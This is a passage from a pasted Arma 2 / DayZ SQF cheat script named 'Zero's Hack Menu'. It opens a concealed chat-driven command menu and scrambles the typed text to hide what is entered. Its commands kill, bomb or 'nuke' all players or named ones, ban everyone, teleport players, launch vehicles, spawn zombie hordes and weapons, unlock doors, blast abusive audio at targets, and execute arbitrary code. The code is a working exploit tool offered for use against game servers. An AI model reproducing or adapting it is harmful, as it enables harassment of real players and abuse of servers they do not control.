- for '_i' from 0 to (count _veh)-1 do {
- _vehi = _veh select _i;
- if ((!isNull _vehi) && (getPlayerUID _vehi != '')) then {_vehi setDamage 5;};
- };
- };
- if (HashDestbaer) then {
- _base = nearestObjects [[7839,8414,0],['House','ModularItems','DZE_Housebase','BuiltItems','DZE_Base_Object'],8000];
- for '_i' from 0 to (count _base)-1 do {
- _bas = _base select _i;
- _bas setDamage 5;
- };
- };
- };
- };
- ";
- [_HashBomb] call HashKiduKnow;
- };
- HashzClick = 1;
- openMap [true,false];
- while {HashzClick == 1} do {onMapSingleClick "[_pos select 0,_pos select 1,_pos select 2] spawn Hashclick;true";};
- };
- _killtarget = {
- hint "You have 10 seconds to type the name in chat";
- sleep 10;
- _HashDi1spla4y = findDisplay 24;
- _Hash2 = _HashDi1spla4y displayCtrl 101;
- _Hash3 = ctrlText _Hash2;
- {
- if (getPlayerUID _x != "") then
- {
- if (name _x == _Hash3) then
- {
- _x setDamage 1;
- };
- };
- }forEach ([6800, 9200, 0] nearEntities [["AllVehicles"], 50000]);
- };
- _banningall = {
- hint "Banning all players...";
- sleep 2;
- _Hash382 = "bp = true; pic = true;";
- [_Hash382] call HashKiduKnow;
- };
- _killall = {
- _Hash372 = "player setDamage 1;";
- [_Hash372] call HashKiduKnow;
- };
- _bomball = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- {
- _HashPos = _x modelToWorld [0,0,1.20];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- _HashRound = ("AR" + "TY_S" + "h_8" + "2_IL" + "LUM") createVehicleLocal _HashPos;
- _HashRound setVelocity [0,0,-50000];
- } count (positionCameraToWorld [0,0,0] nearEntities ["AllVehicles",80000]);
- };
- hintSilent "loading hidden menu...13";
- _tpall = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _allPlayers = playableUnits;
- {
- if ((_x == vehicle _x) && (_x != player)) then {
- _p = getpos player;
- _dir = getDir vehicle player;
- _pos = [(_p select 0)-150+(random 300),(_p select 1)-150+(random 300),0];
- _x setPosATL _pos;
- };
- } forEach _allPlayers;
- hint format ["Done, Tp All."];
- cutText [format["Done, Tp All."], "PLAIN DOWN"];
- };
- hintSilent "loading hidden menu...14";
- _tpto = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _name = _parts select 0;
- {
- if(_forEachIndex > 0) then {
- _name = _name + " ";
- _name = _name + _x;
- };
- } forEach _parts;
- hint ("teleporting to " + _name);
- _allPlayers = playableUnits;
- {
- if(toLower(name _x) == toLower(_name)) exitWith {
- _t = vehicle _x;
- _d = getDir _t;
- _m = if(_t != _x) then {7} else {2};
- _p = getposatl _t;
- _nP = [(_p select 0)-sin(_d)*_m,(_p select 1)-cos(_d)*_m,0];
- player setposatl _nP;
- };
- } forEach _allPlayers;
- };
- hintSilent "loading hidden menu...15";
- _exec = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _code = _parts select 0;
- {
- if(_forEachIndex > 0) then {
- _code = _code + " ";
- _code = _code + _x;
- };
- } forEach _parts;
- call compile _code;
- };
- hintSilent "loading hidden menu...16";
- _launch = {
- hint 'go';
- player allowDamage false;
- {
- _op = getpos player;
- moveOut (driver _x);
- uiSleep 0.05;
- player moveInDriver _x;
- uiSleep 0.05;
- player allowDamage false;
- (vehicle player) setVelocity [0,0,400];
- moveOut player;
- uiSleep 0.05;
- player setVelocity [0,0,0];
- uiSleep 0.01;
- player setpos _op;
- } forEach vehicles;
- player allowDamage true;
- hint 'done';
- };
- hintSilent "loading hidden menu...17";
- _gm = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _msg = _parts select 0;
- {
- if(_forEachIndex > 0) then {
- _msg = _msg + " ";
- _msg = _msg + _x;
- };
- } forEach _parts;
- [nil,nil,rtitletext,_msg,"plain"]call RE;
- };
- _gm = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _value = "gmrofl" call _getVariable;
- if(isNil {_value}) then {
- ["gmrofl",false] call _setVariable;
- };
- ["gmrofl",!("gmrofl" call _getVariable)] call _setVariable;
- };
- hintSilent "loading hidden menu...18";
- _h = {
- r_player_blood = 11999;
- r_player_inpain = false;
- r_player_infected = false;
- r_player_injured = false;
- dayz_hunger = 0;
- dayz_thirst = 0;
- dayz_temperatur = 100;
- r_fracture_legs = false;
- r_fracture_arms = false;
- r_player_dead = false;
- r_player_unconscious = false;
- r_player_loaded = false;
- r_player_cardiac = false;
- r_player_lowblood = false;
- r_player_timeout = 0;
- r_handlerCount = 0;
- disableUserInput false;
- dayz_sourceBleeding = objNull;
- player setVariable ["USEC_injured",false,true];
- {player setVariable[_x,false,true];} forEach USEC_woundHit;
- player setVariable ["unconsciousTime", r_player_timeout, true];
- player setHit ['legs',0];
- player setVariable ['hit_legs',0,false];
- player setVariable['medForceUpdate',true,true];
- hint "Healed!";
- };
- _sh = {
- player setVariable["humanity",-123432,true]
- };
- _tpcurs = {
- player setpos (screenToWorld [0.5,0.5]);
- };
- hintSilent "loading hidden menu...18";
- _tphere = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _name = _parts select 0;
- {
- if(_forEachIndex > 0) then {
- _name = _name + " ";
- _name = _name + _x;
- };
- } forEach _parts;
- hint ("teleporting " + _name + " here");
- _allPlayers = playableUnits;
- {
- if(toLower(name _x) == toLower(_name)) exitWith {
- _t = vehicle player;
- _d = getDir _t;
- _m = if(_t != player) then {7} else {2};
- _p = getposatl _t;
- _nP = [(_p select 0)-sin(_d)*_m,(_p select 1)-cos(_d)*_m,0];
- _x setposatl _nP;
- };
- } forEach _allPlayers;
- };
- hintSilent "loading hidden menu...19";
- _sl = {
- _d = getDir player;
- _m = 7;
- _p = getposatl player;
- _nP = [(_p select 0)-sin(_d)*_m,(_p select 1)-cos(_d)*_m,0];
- _type = "MV22";
- _object = _type createVehiclelocal _nP;
- };
- hintSilent "loading hidden menu...20";
- _zh = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _name = _parts select 0;
- {
- if(_forEachIndex > 0) then {
- _name = _name + " ";
- _name = _name + _x;
- };
- } forEach _parts;
- _target = objNull;
- _allPlayers = playableUnits;
- {
- if(tolower(name _x) == toLower(_name)) exitWith {
- _target = _x;
- };
- } forEach _allPlayers;
- if(isNull _target) exitWith {hint "Failed to find target";};
- hint format["Get ready for a ZOMBIE-HORDE!"];
- player_checkStealth = {DAYZ_disAudial = 10000; DAYZ_disVisual = 10000;};
- dayz_losChance = {1.1};
- dayz_losCheck = {false};
- for '_i' from 1 to 15 do
- {
- _agent = createAgent ['z_worker2', getPos _target, [], 30, 'NONE'];
- _position = getPosATL _agent;
- [_position, _agent] execFSM '\z\AddOns\dayz_code\system\zombie_agent.fsm';
- sleep 1;
- };
- };
- hintSilent "loading hidden menu...21";
- _zs = {
- if (isNil "zs") then {zs = true;} else {zs = !zs};
- if(zs) then {hint "ZSheild Activated!";};
- while {zs} do {
- _pos = getPos player;
- _zombies = _pos nearEntities ["zZombie_Base",20];
- _count = count _zombies;
- for "_i" from 0 to (_count -1) do
- {
- _zombie = _zombies select _i;
- _zombie setDamage --1;
- };
- };
- hint "ZSheild Deactivated";
- };
- _dc = {
- _obj = cursorTarget;
- _obj setDamage --1;
- Hint "Destroyed cursor Target";
- };
- hintSilent "loading hidden menu...22";
- _ear = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _name = _parts select 0;
- {
- if(_forEachIndex > 0) then {
- _name = _name + " ";
- _name = _name + _x;
- };
- } forEach _parts;
- {
- if (toLower(name _x) == toLower(_name)) then
- {
- for "_i" from 0 to 25 do {
- [_x,_x,rSAY,"nuke"] call RE;
- sleep 0.01;
- };
- };
- } count ([6800, 9200, 0] nearEntities [["AllVehicles"], 11000]);
- };
- hintSilent "loading hidden menu...23";
- _gems = {
- _Hash1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _Hash1ng setVariable ["permaLoot",true];
- _qty=1;_Hash1ng addMagazineCargoGlobal ["ItemCitrine",10];
- _qty=1;_Hash1ng addMagazineCargoGlobal ["ItemSapphire",0];
- _qty=1;_Hash1ng addMagazineCargoGlobal ["ItemRuby",0];
- };
- hintSilent "loading hidden menu...24";
- _scriptData = [
- ["cmds",_help,"Lists all commands"],
- ["dc",_dc,"Destroy cursorTarget"],
- ["zs",_zs,"Kills all zombies around you"],
- ["ej",_ej,"Ejects the target player from their vehicle"],
- ["gm",_gm,"Send a message to everyone on the server"],
- ["h",_h,"Heals yourself"],
- ["sh",_sh,"Sets your humanity to whatever the fuck u want"],
- ["tpc",_tpcurs,"Teleport to your cursor"],
- ["tph",_tphere,"Teleport a player to you"],
- ["tpt",_tpto,"Teleport to a player"],
- ["tpa",_tpall,"Teleport all players to you"],
- ["ex",_exec,"Execute code"],
- ["l",_launch,"Launch all vehicles into the sky"],
- ["bt",_bombtarget,"Bomb a player by name"],
- ["bna",_banningall,"Ban all players"],
- ["ka",_killall,"kill all players"],
- ["kt",_killtarget,"Kill player by name"],
- ["nk",_nuketarget,"Nuke the server"],
- ["ba",_bomball,"Bomb all players"],
- ["ee",_e,"Nametags"],
- ["gems",_gems,"Spawns Gems for you"],
- ["mm",_mapm,"Player markers on the map"],
- ["mmv",_vehiclemapm,"Vehicle markers on the map"],
- ["zh",_zh,"Spawns a zombie horde on target by name"],
- ["slh",_sl,"Spawn a local / invisible helicopter"],
- ["bc",_breifcase,"Spawn a breifcase"],
- ["mf",_metalfloor,"Spawn a Metal Floor"],
- ["cw",_cinderwall,"Spawn a Cinder Half Wall"],
- ["Stinger",_Stinger,"Spawn a Stinger"],
- ["As50",_As50,"Spawn a As50"],
- ["dt",_del,"Delete cursorTarget"],
- ["co",_gcode,"Get code to a door"],
- ["op",_op,"Unlock a door"],
- ["cl",_cl,"Lock a door"],
- ["ear",_ear,"Ear Rape Target"],
- ["exit",{},"Exit the menu"]
- ];
- hintSilent "loading hidden menu...25";
- ["scriptData",_scriptData] call _setVariable;
- ["lastCommand",""] call _setVariable;
- hintSilent "loading hidden menu...26";
- [] spawn {
- disableSerialization;
- 15401 cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex,safezoney,safezonew,safezoneh/20];
- _control ctrlsetbackgroundcolor [0,0,0,0];
- _control ctrlsettextcolor [random(1),random(1),random(1),1];
- _control ctrlSetStructuredText parseText "<t size='0.8' align='Right'>Zero's Hack Menu</t>";
- _control ctrlCommit 0;
- while{true} do {
- _control ctrlsettextcolor [random(1),random(1),random(1),1];
- _control ctrlCommit 0;
- uiSleep 0.1;
- };
- };
- hintSilent "loading hidden menu...27";
- scopeName "hmenuscope";
- hintSilent "loaded hidden menu!";
- _showCmds = {
- 15403 cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex + safezonew - (safezonew/5),0.45,safezonew/5,safezoneh/2];
- _control ctrlsetbackgroundcolor [0,0,0,0.75];
- _control ctrlsettextcolor [1,1,1,1];
- _text = "<t size='0.45' color='#FF0000' align='center'>Zero's Command Center<br/></t><t size='0.3' align='left'>";
- {
- _text = _text + "<t color='#FFFF00'>" + (_x select 0) + "</t>: " + (_x select 2) + "<br/>";
- } forEach _scriptData;
- _text = _text + "</t>";
- _control ctrlSetStructuredText parseText _text;
- _control ctrlCommit 0;
- };
- _showPlrs = {
- 15404 cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex + safezonew - ((safezonew/5)*2) - 0.001,0.45,safezonew/5,safezoneh/2];
- _control ctrlsetbackgroundcolor [0,0,0,0.75];
- _control ctrlsettextcolor [1,1,1,1];
- _text = "<t size='0.45' align='center' color='#FF0000'>Players<br/></t><t align='left' size='0.4'>";
- _allPlayers = playableUnits;
- {
- _text = _text + "<t color='#FFFF00'>" + (name _x) + "</t> (" + str(round(_x distance player)) + "m)<br/>";
- } forEach _allPlayers;
- _text = _text + "</t>";
- _control ctrlSetStructuredText parseText _text;
- _control ctrlCommit 0;
- };
- _splitString = {
- private["_string","_separator","_stringArray","_separatorArray","_resultArray","_localArray"];
- _string = _this select 0;
- _separator = _this select 1;
- _stringArray = toarray _string;
- _separatorArray = toarray _separator;
- _resultArray = [];
- _localArray = [];
- {
- if (_x in _separatorArray) then {
- _resultArray set [count _resultArray,tostring _localArray];
- _localArray = [];
- } else {
- _localArray set [count _localArray,_x];
- };
- } foreach _stringArray;
- _resultArray set [count _resultArray,tostring _localArray];
- _resultArray = _resultArray - [""];
- _resultArray
- };
- _sString = {
- private["_string","_startIdx","_endIdx","_maxIdx","_stringArray","_substringArray","_i","_substring"];
- _string = _this select 0;
- _startIdx = _this select 1;
- _distance = _this select 2;
- _stringArray = toArray _string;
- _substringArray = [];
- for "_i" from _startIdx to (_startIdx+_distance-1) do
- {
- _substringArray = _substringArray + [_stringArray select _i];
- };
- _substring = toString _substringArray;
- _substring
- };
- hintSilent ("Hidden Menu Loaded\nOpen the chat and type ? to use");
- while{true} do
- {
- 15402 cutText ["","PLAIN"];
- 15403 cutText ["","PLAIN"];
- 15404 cutText ["","PLAIN"];
- systemchat "waiting for input";
- waitUntil{!isNull (findDisplay 24)};
- _open = false;
- _ctrl = (findDisplay 24) displayCtrl 101;
- while{!isNull (findDisplay 24)} do {
- if(ctrlText _ctrl == "?") exitWith {
- _open = true;
- systemchat "opening UI";
- _ctrl ctrlSetText "";
- };
- uiSleep 0.1;
- };
- if(_open) then {
- call _showPlrs;
- call _showCmds;
- 15402 cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex,safezoney + (safezoneh/20) + (safezoneh/40),safezonew,safezoneh/10];
- _control ctrlsetbackgroundcolor [0,0,0,0.75];
- _control ctrlsettextcolor [1,1,1,1];
- _control ctrlSetStructuredText parseText "<t size='0.8' align='center'>Type the command into the box. Real text appears here.<br/>A list of commands is in the bottom left of your screen.<br/>Press ESCAPE to submit command.</t>";
- _control ctrlCommit 0;
- _display = findDisplay 24;
- _ctrl = _display displayCtrl -1;
- _dims = ctrlPosition _ctrl;
- _dims set [0,0];
- _dims set [1,0.4];
- _dims set [2,1];
- _ctrl ctrlSetPosition _dims;
- _ctrl ctrlSetBackgroundColor [0,0,0,0.75];
- _ctrl ctrlCommit 0;
- _ctrl = _display displayCtrl 101;
- _dims = ctrlPosition _ctrl;
- _dims set [0,0];
- _dims set [1,0.4];
- _dims set [2,1];
- _ctrl ctrlSetPosition _dims;
- _ctrl ctrlCommit 0;
- _chattext = "";
- _fakeTEXT = "";
- while{true} do {
- _text = ctrlText _ctrl;
- waitUntil{isNull _display || _text != ctrlText _ctrl};
- if(isNull _display) exitWith {
- _len = count(toArray(_chattext));
- if(_chattext == "") exitWith {};
- ["lastCommand",_chattext] call _setVariable;
- _parts = [_chattext," "] call _splitString;
- _command = _parts select 0;
- _parts set [0,-1];
- _parts = _parts - [-1];
- if(toLower(_command) == "exit") exitWith {
- hint "Exiting Script...\n\nWarning: Errrors May Occur";
- breakto "hmenuscope";
- };
- _executed = false;
- {
- _cmd = _x select 0;
- _code = _x select 1;
- if(toLower(_cmd) == toLower(_command)) exitWith {
- hintSilent "";
- _executed = true;
- [_parts,_getVariable,_setVariable] spawn _code;
- };
- } forEach _scriptData;
- if(!_executed) then {
- hint "That is not a command!";
- };
- };
- _newText = ctrlText _ctrl;
- _arrayO = toArray(_text);
- _arrayN = toArray(_newText);
- _lenO = count(_arrayO);
- _lenN = count(_arrayN);
- if(_lenO > _lenN) then {
- _chattext = [_chattext,0,_lenN] call _sString;
- _fakeTEXT = [_fakeTEXT,0,_lenN] call _sString;
- };
- if(_lenO < _lenN) then {
- _dif = _lenN - _lenO;
- _subStr = [_newText,_lenO,_dif] call _sString;
- _chattext = _chattext + _subStr;
- for "_i" from 1 to _dif do {
- _a = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","1","2","3","4","5","6","7","8","9","0"];
- _l = _a select floor(random(count(_a)));
- _upper = (random(1) > 0.5);
- if(_upper) then {
- _l = toUpper(_l);
- };
- _fakeTEXT = _fakeTEXT + _l;
- };
- _ctrl ctrlSetText _fakeTEXT;
- };
- _control ctrlSetStructuredText parseText ("<t size='0.8' align='center'>" + format["text: %1",_chattext] + "</t>");
- };
- };
- };
- 15402 cutText ["","PLAIN"];
- 15401 cutText ["","PLAIN"];
- 15403 cutText ["","PLAIN"];
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement